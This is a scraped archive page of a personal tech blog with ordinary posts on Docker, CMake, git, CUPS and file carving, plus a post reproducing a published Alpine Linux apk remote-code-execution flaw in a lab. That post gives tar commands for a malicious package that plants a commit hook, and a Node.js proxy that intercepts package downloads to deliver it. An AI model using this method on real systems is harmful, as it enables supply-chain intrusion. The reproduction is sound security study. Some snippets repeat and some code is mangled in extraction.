Are you over 18 and want to see adult content?
More Annotations
A complete backup of aviazionesportiva.it
Are you over 18 and want to see adult content?
A complete backup of turkmenairlines.com
Are you over 18 and want to see adult content?
A complete backup of zippyloansreview.com
Are you over 18 and want to see adult content?
A complete backup of charityaddress.com
Are you over 18 and want to see adult content?
Favourite Annotations
A complete backup of thecatalystcafe.com
Are you over 18 and want to see adult content?
A complete backup of adoremobilya.com
Are you over 18 and want to see adult content?
A complete backup of modernistaustralia.com
Are you over 18 and want to see adult content?
A complete backup of andrewgough.co.uk
Are you over 18 and want to see adult content?
Text
SISTEMAS DIGITAIS
Boa noite a todos, Como ainda não produzi nada muito bom hoje em casa (no lab produzi algo relaciona a xml-rpc que pretendo postar em breve), resolvi postar mais um dos 198578951 exercicios que estou tendo que fazer para estrutura de dados.PROGRAMAÇÃO
Boa noite, Na primeira versão do LURL (Tiny-URL), o usuário João, sugeriu que em vez de eu gerar um identificador aleatório, que poderia causar problemas quando o banco de dados se tornasse muito grande, eu poderia utilizar o campo ID, pois o mesmo é Auto Increment, e por isso ele se auto incrementa, não permitindo que existam dois campos com o mesmo identificador.EXERCÍCIOS
Exercícios - Linguagem C 1 - Fazer um programa que recebe um símbolo de operação do usuário (+, -, * ou /) e dois números reais. O programa deve retornar o resultado da operação recebida sobre estesdois
ROOT MANUAL DO ANDROID Olá, Neste artigo vamos rootar manualmente o Android. Lembrando que para utilizar o mesmo você deve possuir o Android SDK instalado. Os arquivos necessários estão no fim do post, recomendo ler o me REMOVER OU DESABILITAR A BARRA DE ROLAGEM OVERLAY …TRANSLATE THISPAGE
Boa noite, Infelizmente a barra padrão do Ubuntu 12.10 continua a “overlay” que eu particularmente não gosto e pelo visto vaicontinuar assim pra
EXERCICIOS - LINGUAGEM C - 01 - RESOLVIDOS 7. Escreva um algoritmo que leia um número inteiro entre 100 e 999 e imprima na saída cada um dos algarismos que compõem o número. REMOVER OU DESABILITAR A BARRA DE ROLAGEM OVERLAY Boa noite, Infelizmente a barra padrão do Ubuntu 11.10 continua a “overlay” que eu particularmente não gosto. Fui testar o método que fizemos no 11.04 e funcionou! (Só testei o de desab MATHEUS BRATFISCH · COGITO ERGO SUM Building OpenSSH 8.2 and using FIDO2 U2F on ssh authentication 17 Feb 2020. OpenSSH 8.2 was just released with support for FIDO2 U2F keys. INSTALL CMAKE 3 ON AWS LINUX · MATHEUS BRATFISCH Steps executed to install CMake3 on AWS Linux DOCKER-COMPOSE WITH PHP-FPM, SENDMAIL, NGINX, MARIADB Docker-compose with PHP-FPM, sendmail, nginx, mariadb serving jekyll and wordpress 06 Feb 2018. As I explained recently, I had a blog running Wordpress and decided to move to Jekyll but there was a catch, I didn’t want to loose any link I had to my wordpress blog, to achieve this, I setup an nginx which will try to find a static file from jekyll and if it is not found it will fallback toSISTEMAS DIGITAIS
Boa noite a todos, Como ainda não produzi nada muito bom hoje em casa (no lab produzi algo relaciona a xml-rpc que pretendo postar em breve), resolvi postar mais um dos 198578951 exercicios que estou tendo que fazer para estrutura de dados.PROGRAMAÇÃO
Boa noite, Na primeira versão do LURL (Tiny-URL), o usuário João, sugeriu que em vez de eu gerar um identificador aleatório, que poderia causar problemas quando o banco de dados se tornasse muito grande, eu poderia utilizar o campo ID, pois o mesmo é Auto Increment, e por isso ele se auto incrementa, não permitindo que existam dois campos com o mesmo identificador.EXERCÍCIOS
Exercícios - Linguagem C 1 - Fazer um programa que recebe um símbolo de operação do usuário (+, -, * ou /) e dois números reais. O programa deve retornar o resultado da operação recebida sobre estesdois
ROOT MANUAL DO ANDROID Olá, Neste artigo vamos rootar manualmente o Android. Lembrando que para utilizar o mesmo você deve possuir o Android SDK instalado. Os arquivos necessários estão no fim do post, recomendo ler o me REMOVER OU DESABILITAR A BARRA DE ROLAGEM OVERLAY …TRANSLATE THISPAGE
Boa noite, Infelizmente a barra padrão do Ubuntu 12.10 continua a “overlay” que eu particularmente não gosto e pelo visto vaicontinuar assim pra
EXERCICIOS - LINGUAGEM C - 01 - RESOLVIDOS 7. Escreva um algoritmo que leia um número inteiro entre 100 e 999 e imprima na saída cada um dos algarismos que compõem o número. REMOVER OU DESABILITAR A BARRA DE ROLAGEM OVERLAY Boa noite, Infelizmente a barra padrão do Ubuntu 11.10 continua a “overlay” que eu particularmente não gosto. Fui testar o método que fizemos no 11.04 e funcionou! (Só testei o de desab MATHEUS BRATFISCH · COGITO ERGO SUM The code is pretty simple, it will fetch the app from server.js, grab the datasource and run the autoupate command. You could use automigrate, but this one will clean the database every time, so pay attention on this.. I think this will work for most of datasources, but if it doesn’t work for yours, drop me a line. USE A REMOTE SERIAL PORT TO FLASH AN ESP · MATHEUS BRATFISCH Using a remote serial port with ser2net to flash an esp usingraspberry pi
MATHEUS BRATFISCH · COGITO ERGO SUM Migrate old Wordpress to Heroku, Amazon RDS and S3. 03 Dec 2016. After a few good years with my blog out of date, I decided to start to write again and to migrate it to Heroku since his server was with a PRINTER CONNECTED TO RASPBERRY PI ACCESSABLE FROM NETWORK Printer connected to Raspberry PI accessable from network. 07 Aug 2018. Hey guys, For a long time my father has beem complaining that using the printer wasn’t practical enough, so to solve this I decided to add a Raspberry pi Zero W connected to my TESTING RCE ON ALPINE LINUX VIA APK · MATHEUS BRATFISCH FROM alpine:3.8 # RUN apk add python RUN apk add ltrace CMD "/bin/sh". (If you are curious you can take a look on the test of the docker image even if it failed to build and see your files are really inside the correct places. Use docker commit CONTAINER_ID and docker run -it SHA256_STRING sh .) This returned “The command ‘/bin/sh -c apk UPDATE DEFAULT GIT COMMIT AUTHOR AND RESET FOR COMMIT Update default git commit author and reset for commit. 06 Aug 2018. If you would like to set your global git author, use: PROGRAMMING ATMEGA8U2 ON ARDUINO UNO USING USB ASP Hello, Recently my Arduino UNO stopped to be recognized by computer (using USB), I tried a few stuffs: – Changed the Atmega328 – Rewrite bootloader – Tested the controller on othe JAVA | MATHEUS BRATFISCH Good Night, Java RMI (Remote Method Invocation), is a mechanism that let the user, create distributed applications using Java. It takes care of Sockets, protocols and others. USING USB ASP AS A REGULAR USER Click to share on Google+ (Opens in new window) Click to share on Twitter (Opens in new window) Click to share on LinkedIn (Opens in newwindow)
VERIFY IF A PROCESS IS EXECUTING AND NOTIFICATE VIA E-MAIL Hello, A few days ago my friend need a Visual Basic Script to verify if a process is running and if it is send an e-mail. He asked me for help to code it, and I helped him. Visual Basic Script to v MATHEUS BRATFISCH · COGITO ERGO SUM Building OpenSSH 8.2 and using FIDO2 U2F on ssh authentication 17 Feb 2020. OpenSSH 8.2 was just released with support for FIDO2 U2F keys. INSTALL CMAKE 3 ON AWS LINUX · MATHEUS BRATFISCH Steps executed to install CMake3 on AWS LinuxSISTEMAS DIGITAIS
Boa noite a todos, Como ainda não produzi nada muito bom hoje em casa (no lab produzi algo relaciona a xml-rpc que pretendo postar em breve), resolvi postar mais um dos 198578951 exercicios que estou tendo que fazer para estrutura de dados.PROGRAMAÇÃO
Boa noite, Na primeira versão do LURL (Tiny-URL), o usuário João, sugeriu que em vez de eu gerar um identificador aleatório, que poderia causar problemas quando o banco de dados se tornasse muito grande, eu poderia utilizar o campo ID, pois o mesmo é Auto Increment, e por isso ele se auto incrementa, não permitindo que existam dois campos com o mesmo identificador.EXERCÍCIOS
Exercícios - Linguagem C 1 - Fazer um programa que recebe um símbolo de operação do usuário (+, -, * ou /) e dois números reais. O programa deve retornar o resultado da operação recebida sobre estesdois
MODELO RELATORIOS
UNIVERSIDADE FEDERAL DE SANTA CATARINA. EEL5105 – Circuitos e técnicas digitais. TURMA 0132B. TÍTULO. Relatório de atividades da aula(8) realizada em 15/05/2008 CONVERSÃO DE IMAGENS PARA …TRANSLATE THIS PAGE Conversão de Imagens para GrayScale/Binária/R/G/B. Published by Matheus (X-warrior) Bratfisch on March 20, 2012. Boa tarde, Este é um pequeno exercício de Sistemas Multimidias (INE5431). O mesmo consistia em: 1) Transforme a imagem do elefante em tons de cinza. 2) Gere 3 imagens fazendo a função de split RGB, cada imagens comintensidades
WINDOWS XP, ATUALIZAÇÕES. Ai galera, Viajei para a casa dos meus pais em Blumenau - SC. Vim na casa de um amigo que é usuario do ruindow$. Ele havia formatado o computador e não estava conseguindo fazer as atualizações por causa do maldito WGA (Windowns Genuine Advantage). TABELA DE "CONVERSÃO" Olá Este tópico tem o intuito de complementar os três anteriores, corrigindo as atualizações que o professor realizou este semestre. Lembrando também que é a INSTALAR FLASH NO UBUNTU 10.04 64BITS Ola, Problema classico encontrado ao instalar os Ubuntus novos versao 64 bits, como fazer o flash funcionar? Encontrei um Script na internetque
MATHEUS BRATFISCH · COGITO ERGO SUM Building OpenSSH 8.2 and using FIDO2 U2F on ssh authentication 17 Feb 2020. OpenSSH 8.2 was just released with support for FIDO2 U2F keys. INSTALL CMAKE 3 ON AWS LINUX · MATHEUS BRATFISCH Steps executed to install CMake3 on AWS LinuxSISTEMAS DIGITAIS
Boa noite a todos, Como ainda não produzi nada muito bom hoje em casa (no lab produzi algo relaciona a xml-rpc que pretendo postar em breve), resolvi postar mais um dos 198578951 exercicios que estou tendo que fazer para estrutura de dados.PROGRAMAÇÃO
Boa noite, Na primeira versão do LURL (Tiny-URL), o usuário João, sugeriu que em vez de eu gerar um identificador aleatório, que poderia causar problemas quando o banco de dados se tornasse muito grande, eu poderia utilizar o campo ID, pois o mesmo é Auto Increment, e por isso ele se auto incrementa, não permitindo que existam dois campos com o mesmo identificador.EXERCÍCIOS
Exercícios - Linguagem C 1 - Fazer um programa que recebe um símbolo de operação do usuário (+, -, * ou /) e dois números reais. O programa deve retornar o resultado da operação recebida sobre estesdois
MODELO RELATORIOS
UNIVERSIDADE FEDERAL DE SANTA CATARINA. EEL5105 – Circuitos e técnicas digitais. TURMA 0132B. TÍTULO. Relatório de atividades da aula(8) realizada em 15/05/2008 CONVERSÃO DE IMAGENS PARA …TRANSLATE THIS PAGE Conversão de Imagens para GrayScale/Binária/R/G/B. Published by Matheus (X-warrior) Bratfisch on March 20, 2012. Boa tarde, Este é um pequeno exercício de Sistemas Multimidias (INE5431). O mesmo consistia em: 1) Transforme a imagem do elefante em tons de cinza. 2) Gere 3 imagens fazendo a função de split RGB, cada imagens comintensidades
WINDOWS XP, ATUALIZAÇÕES. Ai galera, Viajei para a casa dos meus pais em Blumenau - SC. Vim na casa de um amigo que é usuario do ruindow$. Ele havia formatado o computador e não estava conseguindo fazer as atualizações por causa do maldito WGA (Windowns Genuine Advantage). TABELA DE "CONVERSÃO" Olá Este tópico tem o intuito de complementar os três anteriores, corrigindo as atualizações que o professor realizou este semestre. Lembrando também que é a INSTALAR FLASH NO UBUNTU 10.04 64BITS Ola, Problema classico encontrado ao instalar os Ubuntus novos versao 64 bits, como fazer o flash funcionar? Encontrei um Script na internetque
IPV6 | MATHEUS BRATFISCHTRANSLATE THIS PAGE Boa noite, Como você deve saber o número de IPS na internet estão acabando, as previsões indicam que eles devem se esgotar até 2011. E Continue reading Utilizar IPv6 em toda a sua rede. UBUNTU | MATHEUS BRATFISCHTRANSLATE THIS PAGE Olá, Hoje decidi formar meu servidor de casa e quando "terminei" de configurar o samba eu tive alguns problemas. Quando eu estava tentando conectar ao meu Ubuntu 12.04 server, eu recebia a seguinte mensagem: "Failed to Retrieve Share List from Server" 11.10 | MATHEUS BRATFISCH Boa noite, Infelizmente a barra padrão do Ubuntu 11.10 continua a "overlay" que eu particularmente não gosto. Fui testar o método quefizemos no 11.04
BINARY JAVA
Boa tarde, Este é um pequeno exercício de Sistemas Multimidias (INE5431). O mesmo consistia em: 1) Transforme a imagem do elefante emtons de cinza.
MODELO RELATORIOS
UNIVERSIDADE FEDERAL DE SANTA CATARINA. EEL5105 – Circuitos e técnicas digitais. TURMA 0132B. TÍTULO. Relatório de atividades da aula(8) realizada em 15/05/2008 PILHA, COM PONTEIROS, ESTRUTURA DE DADOS. Então, hoje vou demonstrar um dos outros exercicios que fizemos na aula de estrutura de dados, lembrando mais uma vez que estes são exercicios que eu faço rapidamente e não me importo muito com várias coisas pela falta de tempo. TABELA DE "CONVERSÃO" Olá Este tópico tem o intuito de complementar os três anteriores, corrigindo as atualizações que o professor realizou este semestre. Lembrando também que é a REMOVER OU DESABILITAR A BARRA DE ROLAGEM OVERLAY Boa noite, Infelizmente a barra padrão do Ubuntu 11.10 continua a “overlay” que eu particularmente não gosto. Fui testar o método que fizemos no 11.04 e funcionou! (Só testei o de desab INSTALAR FLASH NO UBUNTU 10.04 64BITS Ola, Problema classico encontrado ao instalar os Ubuntus novos versao 64 bits, como fazer o flash funcionar? Encontrei um Script na internetque
GERANDO SEGUNDA SENHA PARA SSH ALEATÓRIA. Olá, Ontem mostrei para você como deixar seu SSH mais seguro e até mesmo como pedir outra senha no mesmo. Mas me deu uma idéia na cabeça que está senha poderia ser gerada aleatoriamente todos os di__ | __
| __
Home
Recents:
Testing RCE on Alpine Linux via APKFind images on
chrome cache files (or any other file!) Printer connected to Raspberry PI accessable from network. Update default git commit author and reset for commit. Docker-compose with PHP-FPM, sendmail, nginx, mariadb serving jekylland wordpress
2018. All rights reserved. MATHEUS BRATFISCH COGITO ERGO SUM TESTING RCE ON ALPINE LINUX VIA APK14 Sep 2018
I have been studying a little bit of security and one of the things I’m doing from time to time is reading CVE and trying to test and understand what is happening. Yesterday Max Justicz published Remote Code Execution in Alpine Linux. He found
an issues on apk which is the package manager for Alpine Linux which is super popular on docker images. Max did a great job explaining the steps and the reasoning, but I wanted to try it myself. - Create a folder at /etc/apk/commit_hooks.d/, which doesn’t exist by default. Extracted folders are not suffixed with .apk-new. - Create a symlink to /etc/apk/commit_hooks.d/x named anything – say, link. This gets expanded to be called link.apk-new but still points to /etc/apk/commit_hooks.d/x. - Create a regular file named link (which will also be expanded to link.apk-new). This will write through the symlink and create a file at /etc/apk/commit_hooks.d/x. - When apk realizes that the package’s hash doesn’t match the signed index, it will first unlink link.apk-new – but /etc/apk/commit_hooks.d/x will persist! It will then fail to unlink /etc/apk/commit_hooks.d/ with ENOTEMPTY because the directory now contains our payload. The instructions seem simple but if you are not super familiar with how a tar file works, you may not understand it. On a tar file you can have multiple versions/files with the same name and you can extract one of them using --occurrence option. With this in mind, the instructions make a little bit more sense, so shall we try to createthis file?
First of all, let’s create the directories: sudo mkdir /etc/apk/commit_hooks.d/ mkdir folder_for_link mkdir folder_for_real_fileCreate the link:
/etc/apk/commit_hooks.d/x folder_for_link/magic Create the real file on folder_for_real_file/magic with this content:#!/bin/sh
echo "something" > /tmp/test-12346-YAY echo "ha" > /testfileroot (If it really works we should have a /tmp/test-123456-YAY file and one/testfileroot too)
Cool, now it seems we have almost everything we need! Let’s createthe apk with:
tar -zcvf bad-intention.apk /etc/apk/commit_hooks.d/ -C $PWD/folder_for_link/ magic -C $PWD/folder_for_real_file/ magic Here we are adding all this 3 things in sequence to the tar file, you can check tar content with t option: $ tar tvf bad-intention.apk drwxr-xr-x root/root 0 2018-09-13 19:44 etc/apk/commit_hooks.d/ lrwxrwxrwx root/root 0 2018-09-13 19:37 magic -> /etc/apk/commit_hooks.d/x -rwxrwxrwx root/root 954 2018-09-13 23:24 magic (Pay attention on the order of this files: create directory commit_hooks.d, creation of link and creation of file) What should be the behavior now? Since apk on alpine runs from / it will create the folder /etc/apk/commit_hooks.k, later it will extract the link and to finish it will output the content of magic to the link which will be placed inside the X file. _Note_, I lost A LOT of time trying to see this behavior on tar it self, but it seems tar doesn’t have this behavior and apk implements it’s own extractor. OK, now, we need to deliver this file when running the apk add inside docker. Here, I have updated /etc/hosts and pointed dl-cdn.alpinelinux.org to localhost. Using libraries http-mitm-proxy http-proxy request on node I have created a script to deliver the bad .apk when downloading something which has ltrace on url otherwise it will download the file and send to the docker. var http = require('http'), httpProxy = require('http-proxy'), request = require('request'), fileSystem = require('fs'), path = require('path'); var proxy = httpProxy.createProxyServer({}); var server = http.createServer(function(req, res) { console.log('http://nl.alpinelinux.org' + req.url) if (req.url.indexOf('ltrace') > -1) { console.log("Trapped") var filePath = path.join(__dirname, 'bad-intention.apk'); var stat = fileSystem.statSync(filePath); var readStream = fileSystem.createReadStream(filePath); readStream.pipe(res);} else {
proxy = request('http://nl.alpinelinux.org' + req.url) proxy.on('response', function (a, b) {}).pipe(res);}
});
console.log("listening on port 80")server.listen(80);
Building my docker with docker build -t alpinetest --network=host--no-cache .
FROM alpine:3.8
# RUN apk add python RUN apk add ltraceCMD "/bin/sh"
(If you are curious you can take a look on the test of the docker image even if it failed to build and see your files are really inside the correct places. Use docker commit CONTAINER_ID and docker run -itSHA256_STRING sh.)
This returned “The command ‘/bin/sh -c apk add ltrace’ returned a non-zero code: 1”. This happened because apk verifies the signature or the apk and try to clean up the files, but it is not able to since /etc/apk/commit_hooks.k contains a file. How to do some magic to make the apk return exit code 0? Max has found one (or two) ways ofdoing this.
I still need to study what exactly the python script does to update the exit code but I have tested and it really works, as a quick test you can add RUN apk add python and update folder_for_real_file/magic to call his python code. I know this may sound simple, but it took me a while to figure out all the tiny details. If you find any mistake I made, or want to say something, drop me a line!Matheus
Comment __
Share: __
__
__
__
__
__
FIND IMAGES ON CHROME CACHE FILES (OR ANY OTHER FILE!)20 Aug 2018
Good night,
Recently I have deleted a few images from my image which the old link was broken on the last few days. I decided to try to find them on the Google Chrome Cache. The url chrome://cache was recently removed, but you can find your chrome cache files at: /home/matheus/.cache/google-chrome/Default/Cache/. If you open it as binary, you will see it is not a file directly. There is more information embeded in the file such as URL, headers, http status code and others. We could take a look on chrome source code to extract everything from the file, not only images. But to be honest I was lazy to dig into that because I had a very specific need in this case. Chrome cache storage Why not scan the cache files for the JPEG binary? We would need to know how to find the start/end of image. We will have: * bytes 0xFF, 0xD8 indicate start of image * bytes 0xFF, 0xD9 indicate end of image OK. So how would we do this in python? Open the file as binary and check if there is a JFIF or EXIF marker on it. (Just trying to ignore files we can’t process) f = open(filepath, 'rb')data = f.read()
if 'JFIF' not in data and 'Exif' not in data:return
Now let’s iterate over all the bytes trying to find that specific sequence. To achieve this let’s have a prev which will have the value of the previous byte, pos to know which position we’re at and an array for SOI (Start of image) and EOI (End of Image) which will hold the positions for this markers. If the previous char is FF and the current one is D8, it will append to SOI, if it is D9 it willappend to EOI.
prev = None
soi =
eoi =
pos = 0
for b in data:
if prev is None:
prev = b
pos = pos + 1
continue
if prev == chr(0xFF): if b == chr(0xD8):soi.append(pos-1)
elif b == chr(0xD9):eoi.append(pos-1)
prev = b
pos = pos + 1
We can get the SOI e EOI and save it. The only magic we will be doing here is getting the first SOI and the last SOI or EOI depending oneach one is bigger.
path, filename = os.path.split(filepath) file = open('{}/{}-{}.jpg'.format(OUTPUT_FOLDER, filename, 0), 'wb')m1 = soi
m2 = soi if soi > eoi else eoifile.write(data)
file.close()
print(filename, "SOI", soi, len(soi)) print(filename, "EOI", eoi, len(eoi)) This code will save only one image. If you want you could iterate over the SOI and EOI and save multiple files. Would this be some kind of file carving? I hope this helps you! Matheus Get this script create the OUTPUT_FOLDER and run it as python yourfile.py filetocheck, this version should be able to handle multiple images inside the same file. Now you can check and output stream for instance.import os
import glob
import sys
OUTPUT_FOLDER = "output-this2" def save_file(data, path, filename, count, eoi, soi): file = open('{}/{}-{}.jpg'.format(OUTPUT_FOLDER, filename, count), 'wb')m1 = soi
m2 = soi if soi > eoi else eoifile.write(data)
file.close()
def extract(filepath):count = 0
f = open(filepath, 'rb')data = f.read()
if 'JFIF' not in data and 'Exif' not in data:return
path, filename = os.path.split(filepath)old_soi =
old_eoi =
prev = None
soi =
eoi =
eoi_found = False
pos = 0
for b in data:
if prev is None:
prev = b
pos = pos + 1
continue
if prev == chr(0xFF): if b == chr(0xD8):if eoi_found:
save_file(data, path, filename, count, eoi, soi) old_soi = old_soi + soi old_eoi = old_eoi + eoisoi =
eoi =
count = count + 1eoi_found = False
soi.append(pos-1)
elif b == chr(0xD9):eoi.append(pos-1)
eoi_found = True
prev = b
pos = pos + 1
save_file(data, path, filename, count, eoi, soi) print(filename, "SOI", soi, len(old_soi)) print(filename, "EOI", eoi, len(old_eoi))def main():
if len(sys.argv) < 2:sys.exit(1)
extract(sys.argv)
if __name__=="__main__":main()
Reference:
https://stackoverflow.com/questions/4585527/detect-eof-for-jpg-imagesComment __
Share: __
__
__
__
__
__
PRINTER CONNECTED TO RASPBERRY PI ACCESSABLE FROM NETWORK.07 Aug 2018
Hey guys,
For a long time my father has beem complaining that using the printer wasn’t practical enough, so to solve this I decided to add a Raspberry pi Zero W connected to my printer (HP Deskjet F2050) and share the printer using CUPS. Initially you need to connect to your RPi and install CUPS. sudo apt-get install cups If you want to have a webinterface to configure it from your local network, update /etc/cups/cupsd.conf sudo vim /etc/cups/cupsd.confFind the line:
Listen localhost:631And update it to:
# Listen localhost:631Port 631
You will have multipleOrder allow,deny
Allow from 10.0.0.2And reboot.
Let me know if you have any problems.See you, Matheus
Comment __
Share: __
__
__
__
__
__
UPDATE DEFAULT GIT COMMIT AUTHOR AND RESET FOR COMMIT.06 Aug 2018
If you would like to set your global git author, use: git config --global user.name "Your name" git config --global user.email "email@example.net" After having it set globally, you can to set your git author perproject using:
git config user.name "Your name" git config user.email "email@example.net" And a bonus, If you need to reset the git commit author: git commit --amend --reset-author If you want to do it for multiple commits: git rebase -iSee you, Matheus
Comment __
Share: __
__
__
__
__
__
DOCKER-COMPOSE WITH PHP-FPM, SENDMAIL, NGINX, MARIADB SERVING JEKYLLAND WORDPRESS
06 Feb 2018
As I explained recently, I had a blog running Wordpress and decided to move to Jekyll but there was a catch, I didn’t want to loose any link I had to my wordpress blog, to achieve this, I setup an nginx which will try to find a static file from jekyll and if it is not found it will fallback to Wordpress.
I was running my server on ec2 instance with RDS and it was becoming a little bit expensive, so I decided to move everything to one machine and dockerize my setup so I could easily switch my servers. To achieve this, I have created a docker-compose with: * PHP-FPM and sendmail to process php and sendmail * Nginx to serve jekyll static files and if they’re not found serve my old wordpress blog * MariaDB as my Database for Wordpressversion: '3'
services:
fpm:
# image: php:7.0-fpm-alpinebuild: php7fpm
restart: always
volumes:
- ./wordpress.matbra.com/:/var/www/wordpress.matbra.com - ./php7fpm/sendmail.mc:/usr/share/sendmail/cf/debian/sendmail.mc - ./php7fpm/gmail-auth.db:/etc/mail/authinfo/gmail-auth.dbports:
- "9000:9000"
links:
- mariadb
hostname: boarders.com.brnginx:
image: nginx:1.10.1-alpinerestart: always
volumes:
- ./nginx/nginx.conf:/etc/nginx/nginx.conf - ./nginx/app.vhost:/etc/nginx/conf.d/default.conf - ./logs/nginx:/var/log/nginx - ./wordpress.matbra.com/:/var/www/wordpress.matbra.com - ./jekyll.matbra.com/:/var/www/jekyll.matbra.comports:
- "80:80"
- "443:443"
links:
- fpm
mariadb:
image: mariadb
restart: always
environment:
- MYSQL_ROOT_PASSWORD=yourpassword- MYSQL_DATABASE=
volumes:
- ./data/db:/var/lib/mysqlPHP-FPM container:
I’m using a custom Dockerfile which comes from php:7.0-fpm and add sendmail support and mysql extension. There is a custom starter script which will run sendmail + php-fpm. (I know I should create a specific container for sendmail) On this container I’m basically mapping some php files and configfiles:
* ./wordpress.matbra.com to /var/www/wordpress.matbra.com which aremy wordpress files
* ./php7fpm/sendmail.mc to /usr/share/sendmail/cf/debian/sendmail.mc which is my configuration file for sendmail * ./php7fpm/gmail-auth.db to /etc/mail/authinfo/gmail-auth.db which is the password for my gmail Configuring gmail as relay to sendmail I’m also mapping the port 9000 to 9000, so I will communicate with PHP-FPM on this ports, creating a link to mariadb and naming myhostname.
NGINX container:
I’m using the regular nginx alpine with some maps: * ./nginx/nginx.conf to /etc/nginx/nginx.conf which is my nginxconfiguration
* ./nginx/app.vhost to /etc/nginx/conf.d/default.conf which is my website configuration with Jekyll falling back to wordpress * ./logs/nginx to /var/log/nginx which will be my log directory * ./wordpress.matbra.com/ to /var/www/wordpress.matbra.com which is the place where nginx can find wordpress website * ./jekyll.matbra.com/ to /var/www/jekyll.matbra.com which is the place where nginx can find jekyll website I’m also mapping ports 80 to 80 and 443 to 443 and create a link to PHP-FPM so nginx can communicate with fpm container.MARIADB container:
No mistery here, regular mariadb image, with a mapping for data and some environment variables. Because I’m not adding my website files to the image, I have created a command init.sh to remove website directory and clone website from git. There is a command called update-config.sh to update wp-config.php file with the correct environment variables. With this I can easily spin up a new machine with my websitestructure.
https://github.com/x-warrior/blog-docker I hope this will be helpful for you. MatheusComment __
Share: __
__
__
__
__
__
INSTALL ZNC IRC BOUNCER ON AWS LINUX08 Dec 2017
If you want to install ZNC IRC Bouncer you will need CMake, but AWS Linux CMake is too old. (Update yourcmake to
3.x)
Now you will need git to clone the ZNC source code and openssl-develto have ssl support
# yum install git openssl-devel Clone ZNC source code $ git clone https://github.com/znc/znc.git Enter on the source code folder$ cd znc
Initialize submodules $ git submodule update --init --recursiveInstall it with:
$ cmake .
$ make
# make install (run this as root #)Configure it with:
$ znc --makeconf
Best regards, MatheusComment __
Share: __
__
__
__
__
__
INSTALL CMAKE 3 ON AWS LINUX07 Dec 2017
If you are trying to build something using CMake and is getting the error: “CMake 3.1 or higher is required. You are running version2.8.12.2”
You can manually install this CMake version, to do this, I removed theprevious CMake.
# yum remove cmake Tested if it was really removed$ cmake
-bash: /usr/bin/cmake: No such file or directoryInstall G++
# yum install gcc-c++ Download latest version from: Cmake Download $ wget https://cmake.org/files/v3.10/cmake-3.10.0.tar.gzExtract it:
$ tar -xvzf cmake-3.10.0.tar.gz Enter on cmake folder$ cd cmake-3.10.0
Install it with:
# ./bootstrap
# make
# make install
Now you should have cmake under /usr/local/bin/cmake Best regards, MatheusComment __
Share: __
__
__
__
__
__
LOOPBACK MODEL MIGRATION USING POSTGRESQL DATABASE08 Jan 2017
I have been playing with Loopback, initially I was
just declaring models and use in memory, but now I got to a point where I need to have a persistent database. I couldn’t find how to keep my database synced with my models easily. I’m not sure if I’m not that familiar with Loopback yet, or if their documentation is not clear enough. To create a script to sync your models with your database you can create a file under bin/ called autoupdate.js and add the following: var path = require('path'); var app = require(path.resolve(__dirname, '../server/server')); var ds = app.datasources.db; ds.autoupdate(function(err) { if (err) throw err;ds.disconnect();
});
The code is pretty simple, it will fetch the app from server.js, grab the datasource and run the autoupate command. You could use automigrate, but this one will clean the database every time, so payattention on this.
I think this will work for most of datasources, but if it doesn’t work for yours, drop me a line. I can try to help :DMatheus
PS: Loopback will not create migrations and do a proper job as Django, sometimes you can get to weird states, it seems Loopback works better with NoSQL databases.Comment __
Share: __
__
__
__
__
__
DJANGO STORAGES WITH BOTO3 AND ADDITIONAL METADATA ONLY FOR MEDIA29 Dec 2016
I have a personal project which I’m using python with Django and django-storages to upload my static and media files to Amazon S3, because my media files have UUID and they’re not editable on my system I wanted to have a long expiration time on it, so I could save some bandwidth but I didn’t want this on the static files which are updated more regularly when I’m updating the system. Most of resources refer to AWS_HEADERS but it didn’t work for me. It seems it is only for boto (not boto3) after looking into boto3 source code I discovered AWS_S3_OBJECT_PARAMETERS which works for boto3, but this is a system-wide setting, so I had to extend S3Boto3Storage. So the code that solved my problem was: class MediaRootS3Boto3Storage(S3Boto3Storage): location = 'media' object_parameters = { 'CacheControl': 'max-age=604800'}
If you’re using boto (not boto3) and you want to have specific parameters only for Media classes you could use class MediaRootS3Boto3Storage(S3BotoStorage): location = 'media'headers = {
'CacheControl': 'max-age=604800'}
You also need to update your django-storages settings, pay attention to the class name, on boto 3 it is S3Boto3Storage on boto it doesn’t has the 3 after Boto. DEFAULT_FILE_STORAGE = 'package.module.MediaRootS3Boto3Storage' Very simple tip, but it took a while to find out how it worksMatheus
Comment __
Share: __
__
__
__
__
__
NGINX REDIRECT ON FAILURE22 Dec 2016
As a few of you probably noticed, recently I have decided to update my really old wordpress blog from PHP4~5 to a most recent one.
Leaving a shared host and going to heroku, which later became AmazonEC2.
I had to decide if I would keep Wordpress, or change to a different technology as Jekyll? Or what? I have thought a lot about this and in the end I decided to use Jekyll to be honest, why? Because using something new will motivate me to study, play with something new andwork more.
Have decided to work with Jekyll, I had to think about my domain, because I didn’t want to break my old wordpress blog, I want to keep it alive as a record and keep it for SEO points, but how to keep both living together on an awesome way? I thought the ideal would be to have something that tries to access the new website and if it is not found it should redirect to the old wordpress website. But how to redirect to the old blog only when a page is not found and complying with the http status code (ie: redirecting with 301). After some documentation reading on nginx I found you can try to proxy to a server and if it fails redirect to a new one, it seems the idealsolution for now.
I have a nginx configuration file with multiple servers, first I have a nginx wordpress configuration, this server just adds PHP-FPM to process PHP files basically with my own custom domain.server {
listen 80;
server_name wordpress.matbra.com;location / {
root /var/www/wordpress/live; index index.php index.html index.htm; try_files $uri $uri/ /index.php?$uri$args;}
location ~ \.php$ { root /var/www/wordpress/live; fastcgi_pass unix:/var/run/php-fpm/php-fpm.sock; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params;}
}
Read more __
Share: __
__
__
__
__
__
Older Newer
Details
Copyright © 2024 ArchiveBay.com. All rights reserved. Terms of Use | Privacy Policy | DMCA | 2021 | Feedback | Advertising | RSS 2.0